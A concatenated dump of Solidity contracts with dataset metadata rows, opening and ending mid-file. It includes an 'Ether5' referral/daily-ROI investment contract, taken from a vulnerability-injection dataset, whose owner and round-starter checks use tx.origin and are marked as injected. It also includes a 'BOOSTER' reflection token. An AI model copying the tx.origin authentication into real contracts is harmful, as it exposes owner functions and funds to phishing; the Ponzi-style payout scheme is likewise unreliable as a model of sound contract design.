_mint(_initialRecipient, 100000000 * (10 ** 18));
}
// Forked from @openzeppelin
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
| 344,843 | 535 |
0df5ee43905b7b0bc6160a7788aaf46b34eb7be3368302afd5a4fb81c75ec3ec
| 29,400 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/txOriginForAuthentication/0x035928bcf0974d8935cdbca36e96ac679c36865e_txOriginForAuthentication.sol
| 5,823 | 24,161 |
pragma solidity ^0.5.11;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
library DataStructs {
struct DailyRound {
uint256 startTime;
uint256 endTime;
bool ended; //has daily round ended
uint256 pool; //amount in the pool;
}
struct Player {
uint256 totalInvestment;
uint256 totalVolumeEth;
uint256 eventVariable;
uint256 directReferralIncome;
uint256 roiReferralIncome;
uint256 currentInvestedAmount;
uint256 dailyIncome;
uint256 lastSettledTime;
uint256 incomeLimitLeft;
uint256 investorPoolIncome;
uint256 sponsorPoolIncome;
uint256 superIncome;
uint256 referralCount;
address referrer;
}
struct PlayerDailyRounds {
uint256 selfInvestment;
uint256 ethVolume;
}
}
contract Ether5 {
using SafeMath for *;
address public owner;
address public roundStarter;
uint256 private poolTime = 24 hours;
uint256 private payoutPeriod = 24 hours;
uint256 private dailyWinPool = 20;
uint256 private incomeTimes = 30;
uint256 private incomeDivide = 10;
uint256 public roundID;
uint256 public r1 = 0;
uint256 public r2 = 0;
uint256 public r3 = 0;
uint256[3] private awardPercentage;
mapping (uint => uint) public CYCLE_PRICE;
mapping (address => bool) public playerExist;
mapping (uint256 => DataStructs.DailyRound) public round;
mapping (address => DataStructs.Player) public player;
mapping (address => mapping (uint256 => DataStructs.PlayerDailyRounds)) public plyrRnds_;
event registerUserEvent(address indexed _playerAddress, address indexed _referrer);
event investmentEvent(address indexed _playerAddress, uint256 indexed _amount);
event referralCommissionEvent(address indexed _playerAddress, address indexed _referrer, uint256 indexed amount, uint256 timeStamp);
event dailyPayoutEvent(address indexed _playerAddress, uint256 indexed amount, uint256 indexed timeStamp);
event withdrawEvent(address indexed _playerAddress, uint256 indexed amount, uint256 indexed timeStamp);
event ownershipTransferred(address indexed owner, address indexed newOwner);
constructor (address _roundStarter) public {
owner = msg.sender;
roundStarter = _roundStarter;
roundID = 1;
round[1].startTime = now;
round[1].endTime = now + poolTime;
awardPercentage[0] = 50;
awardPercentage[1] = 30;
awardPercentage[2] = 20;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 100000000000000000, "Minimum contribution amount is 0.1 ETH");
_;
}
modifier isallowedValue(uint256 _eth) {
require(_eth % 100000000000000000 == 0, "Amount should be in multiple of 0.1 ETH please");
_;
}
modifier onlyOwner() {
require(tx.origin == owner, "only Owner"); //inject USING TX ORIGIN FOR AUTHENTICATION
_;
}
//if someone accidently sends eth to contract address
function () external payable {
playGame(address(0x0));
}
function playGame(address _referrer)
public
isWithinLimits(msg.value)
isallowedValue(msg.value)
payable {
uint256 amount = msg.value;
if (playerExist[msg.sender] == false) {
player[msg.sender].lastSettledTime = now;
player[msg.sender].currentInvestedAmount = amount;
player[msg.sender].incomeLimitLeft = amount.mul(incomeTimes).div(incomeDivide);
player[msg.sender].totalInvestment = amount;
player[msg.sender].eventVariable = 100 ether;
playerExist[msg.sender] = true;
//update player's investment in current round
plyrRnds_[msg.sender][roundID].selfInvestment = plyrRnds_[msg.sender][roundID].selfInvestment.add(amount);
if(// is this a referred purchase?
_referrer != address(0x0) &&
//self referrer not allowed
_referrer != msg.sender &&
//referrer exists?
playerExist[_referrer] == true) {
player[msg.sender].referrer = _referrer;
player[_referrer].referralCount = player[_referrer].referralCount.add(1);
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount);
referralBonusTransferDirect(msg.sender, amount.mul(20).div(100));
}
else {
r1 = r1.add(amount.mul(20).div(100));
_referrer = address(0x0);
}
emit registerUserEvent(msg.sender, _referrer);
}
//if the player has already joined earlier
else {
require(player[msg.sender].incomeLimitLeft == 0, "Oops your limit is still remaining");
require(amount >= player[msg.sender].currentInvestedAmount, "Cannot invest lesser amount");
player[msg.sender].lastSettledTime = now;
player[msg.sender].currentInvestedAmount = amount;
player[msg.sender].incomeLimitLeft = amount.mul(incomeTimes).div(incomeDivide);
player[msg.sender].totalInvestment = player[msg.sender].totalInvestment.add(amount);
//update player's investment in current round
plyrRnds_[msg.sender][roundID].selfInvestment = plyrRnds_[msg.sender][roundID].selfInvestment.add(amount);
if(// is this a referred purchase?
_referrer != address(0x0) &&
// self referrer not allowed
_referrer != msg.sender &&
//does the referrer exist?
playerExist[_referrer] == true)
{
//if the user has already been referred by someone previously, can't be referred by someone else
if(player[msg.sender].referrer != address(0x0))
_referrer = player[msg.sender].referrer;
else {
player[msg.sender].referrer = _referrer;
player[_referrer].referralCount = player[_referrer].referralCount.add(1);
}
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount);
//assign the referral commission to all.
referralBonusTransferDirect(msg.sender, amount.mul(20).div(100));
}
else if(//0x0 coming from the UI
_referrer == address(0x0) &&
//check if the someone has previously referred the user
player[msg.sender].referrer != address(0x0)) {
_referrer = player[msg.sender].referrer;
plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount);
player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount);
//assign the referral commission to all.
referralBonusTransferDirect(msg.sender, amount.mul(20).div(100));
}
else {
//no referrer, neither was previously used, nor has used now.
r1 = r1.add(amount.mul(20).div(100));
}
}
round[roundID].pool = round[roundID].pool.add(amount.mul(dailyWinPool).div(100));
player[owner].dailyIncome = player[owner].dailyIncome.add(amount.mul(10).div(100)); // fee
r3 = r3.add(amount.mul(5).div(100));
emit investmentEvent (msg.sender, amount);
}
function referralBonusTransferDirect(address _playerAddress, uint256 amount)
private
{
address _nextReferrer = player[_playerAddress].referrer;
uint256 _amountLeft = amount.mul(60).div(100);
uint i;
for(i=0; i < 10; i++) {
if (_nextReferrer != address(0x0)) {
//referral commission to level 1
if(i == 0) {
if (player[_nextReferrer].incomeLimitLeft >= amount.div(2)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(2));
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(amount.div(2));
emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.div(2), now);
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r1 = r1.add(amount.div(2).sub(player[_nextReferrer].incomeLimitLeft));
emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r1 = r1.add(amount.div(2));
}
_amountLeft = _amountLeft.sub(amount.div(2));
}
else if(i == 1) {
if(player[_nextReferrer].referralCount >= 2) {
if (player[_nextReferrer].incomeLimitLeft >= amount.div(10)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(10));
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(amount.div(10));
emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.div(10), now);
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r1 = r1.add(amount.div(10).sub(player[_nextReferrer].incomeLimitLeft));
emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r1 = r1.add(amount.div(10));
}
}
else{
r1 = r1.add(amount.div(10));
}
_amountLeft = _amountLeft.sub(amount.div(10));
}
//referral commission from level 3-10
else {
if(player[_nextReferrer].referralCount >= i+1) {
if (player[_nextReferrer].incomeLimitLeft >= amount.div(20)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(20));
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(amount.div(20));
emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.div(20), now);
}
else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r1 = r1.add(amount.div(20).sub(player[_nextReferrer].incomeLimitLeft));
emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r1 = r1.add(amount.div(20));
}
}
else {
r1 = r1.add(amount.div(20));
}
}
}
else {
r1 = r1.add((uint(10).sub(i)).mul(amount.div(20)).add(_amountLeft));
break;
}
_nextReferrer = player[_nextReferrer].referrer;
}
}
function referralBonusTransferDailyROI(address _playerAddress, uint256 amount)
private
{
address _nextReferrer = player[_playerAddress].referrer;
uint256 _amountLeft = amount.div(2);
uint i;
for(i=0; i < 20; i++) {
if (_nextReferrer != address(0x0)) {
if(i == 0) { // if first level, 50% ==> 30% *20201005*YC*
if (player[_nextReferrer].incomeLimitLeft >= amount.mul(30).div(100)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.mul(30).div(100));
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.mul(30).div(100));
emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.mul(30).div(100), now);
} else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r2 = r2.add(amount.mul(30).div(100).sub(player[_nextReferrer].incomeLimitLeft));
emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
// r2 = r2.add(amount.div(2)); // 50%
r2 = r2.add(amount.mul(30).div(100)); // 30%
}
// _amountLeft = _amountLeft.sub(amount.div(2));
_amountLeft = _amountLeft.sub(amount.mul(30).div(100));
}
else { // for users 2-20
if(player[_nextReferrer].referralCount >= i+1) {
if (player[_nextReferrer].incomeLimitLeft >= amount.div(20)) {
player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(20));
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.div(20));
emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.div(20), now);
}else if(player[_nextReferrer].incomeLimitLeft !=0) {
player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft);
r2 = r2.add(amount.div(20).sub(player[_nextReferrer].incomeLimitLeft));
emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now);
player[_nextReferrer].incomeLimitLeft = 0;
}
else {
r2 = r2.add(amount.div(20));
}
}
else {
r2 = r2.add(amount.div(20)); //make a note of the missed commission;
}
}
}
else {
if(i==0){
r2 = r2.add(amount.mul(125).div(100)); // 145 ==> 125 (50%==>30%)
break;
}
else {
r2 = r2.add((uint(20).sub(i)).mul(amount.div(20)).add(_amountLeft));
break;
}
}
_nextReferrer = player[_nextReferrer].referrer;
}
}
//method to settle and withdraw the daily ROI
function settleIncome(address _playerAddress)
private {
uint256 remainingTimeForPayout;
uint256 currInvestedAmount;
if(now > player[_playerAddress].lastSettledTime + payoutPeriod) {
//calculate how much time has passed since last settlement
uint256 extraTime = now.sub(player[_playerAddress].lastSettledTime);
uint256 _dailyIncome;
//calculate how many number of days, payout is remaining
remainingTimeForPayout = (extraTime.sub((extraTime % payoutPeriod))).div(payoutPeriod);
currInvestedAmount = player[_playerAddress].currentInvestedAmount;
_dailyIncome = currInvestedAmount.div(20);
//check his income limit remaining
if (player[_playerAddress].incomeLimitLeft >= _dailyIncome.mul(remainingTimeForPayout)) {
player[_playerAddress].incomeLimitLeft = player[_playerAddress].incomeLimitLeft.sub(_dailyIncome.mul(remainingTimeForPayout));
player[_playerAddress].dailyIncome = player[_playerAddress].dailyIncome.add(_dailyIncome.mul(remainingTimeForPayout));
player[_playerAddress].lastSettledTime = player[_playerAddress].lastSettledTime.add((extraTime.sub((extraTime % payoutPeriod))));
emit dailyPayoutEvent(_playerAddress, _dailyIncome.mul(remainingTimeForPayout), now);
referralBonusTransferDailyROI(_playerAddress, _dailyIncome.mul(remainingTimeForPayout));
}
//if person income limit lesser than the daily ROI
else if(player[_playerAddress].incomeLimitLeft !=0) {
uint256 temp;
temp = player[_playerAddress].incomeLimitLeft;
player[_playerAddress].incomeLimitLeft = 0;
player[_playerAddress].dailyIncome = player[_playerAddress].dailyIncome.add(temp);
player[_playerAddress].lastSettledTime = now;
emit dailyPayoutEvent(_playerAddress, temp, now);
referralBonusTransferDailyROI(_playerAddress, temp);
}
}
}
//function to allow users to withdraw their earnings
function withdrawIncome()
public {
address _playerAddress = msg.sender;
//settle the daily dividend
settleIncome(_playerAddress);
uint256 _earnings =
player[_playerAddress].dailyIncome +
player[_playerAddress].directReferralIncome +
player[_playerAddress].roiReferralIncome;
//can only withdraw if they have some earnings.
if(_earnings > 0) {
require(address(this).balance >= _earnings, "Contract doesn't have sufficient amount to give you");
player[_playerAddress].dailyIncome = 0;
player[_playerAddress].directReferralIncome = 0;
player[_playerAddress].roiReferralIncome = 0;
player[_playerAddress].investorPoolIncome = 0;
player[_playerAddress].sponsorPoolIncome = 0;
player[_playerAddress].superIncome = 0;
address(uint160(_playerAddress)).transfer(_earnings);
emit withdrawEvent(_playerAddress, _earnings, now);
}
}
//To start the new round for daily pool
function startNewRound()
public
{
require(tx.origin == roundStarter,"Oops you can't start the next round"); //inject USING TX ORIGIN FOR AUTHENTICATION
uint256 _roundID = roundID;
uint256 _poolAmount = round[roundID].pool;
if (now > round[_roundID].endTime && round[_roundID].ended == false) {
round[_roundID].ended = true;
round[_roundID].pool = _poolAmount;
_roundID++;
roundID++;
round[_roundID].startTime = now;
round[_roundID].endTime = now.add(poolTime);
}
}
//function to fetch the remaining time for the next daily ROI payout
function getPlayerInfo(address _playerAddress)
public
view
returns(uint256) {
uint256 remainingTimeForPayout;
if(playerExist[_playerAddress] == true) {
if(player[_playerAddress].lastSettledTime + payoutPeriod >= now) {
remainingTimeForPayout = (player[_playerAddress].lastSettledTime + payoutPeriod).sub(now);
}
else {
uint256 temp = now.sub(player[_playerAddress].lastSettledTime);
remainingTimeForPayout = payoutPeriod.sub((temp % payoutPeriod));
}
return remainingTimeForPayout;
}
}
function withdrawFees(uint256 _amount, address _receiver, uint256 _numberUI) public onlyOwner {
if(_numberUI == 1 && r1 >= _amount) {
if(_amount > 0) {
if(address(this).balance >= _amount) {
r1 = r1.sub(_amount);
address(uint160(_receiver)).transfer(_amount);
}
}
}
else if(_numberUI == 2 && r2 >= _amount) {
if(_amount > 0) {
if(address(this).balance >= _amount) {
r2 = r2.sub(_amount);
address(uint160(_receiver)).transfer(_amount);
}
}
}
else if(_numberUI == 3) {
player[_receiver].superIncome = player[_receiver].superIncome.add(_amount);
r3 = r3.sub(_amount);
// emit superBonusAwardEvent(_receiver, _amount);
}
}
function transferOwnership(address newOwner) external onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) private {
require(newOwner != address(0), "New owner cannot be the zero address");
emit ownershipTransferred(owner, newOwner);
owner = newOwner;
}
}
| 279,130 | 536 |
ac0b1c3d89e90a847f6edee39d891a91aa9ac94ea1b12dad5485bc02a4208a6e
| 18,825 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/49/495d14f3B07D5Ce4CE3d5005673b240dfa67f8b8_BOOSTER.sol
| 4,183 | 15,795 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BOOSTER is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'BOOSTER';
string private _symbol = 'BOOSTER';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 316,642 | 537 |
cf476222ff4d0afebe600d39c2dbda916697c45005796331916e9c90633ff310
| 26,682 |
.sol
|
Solidity
| false |
305531673
|
penguinparty-eth/penguinparty.eth-Deliverables
|
557487bf274912a3bb3ba2c78e80f36b29a13445
|
SolidityContracts/ghostvault.sol
| 3,796 | 14,000 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
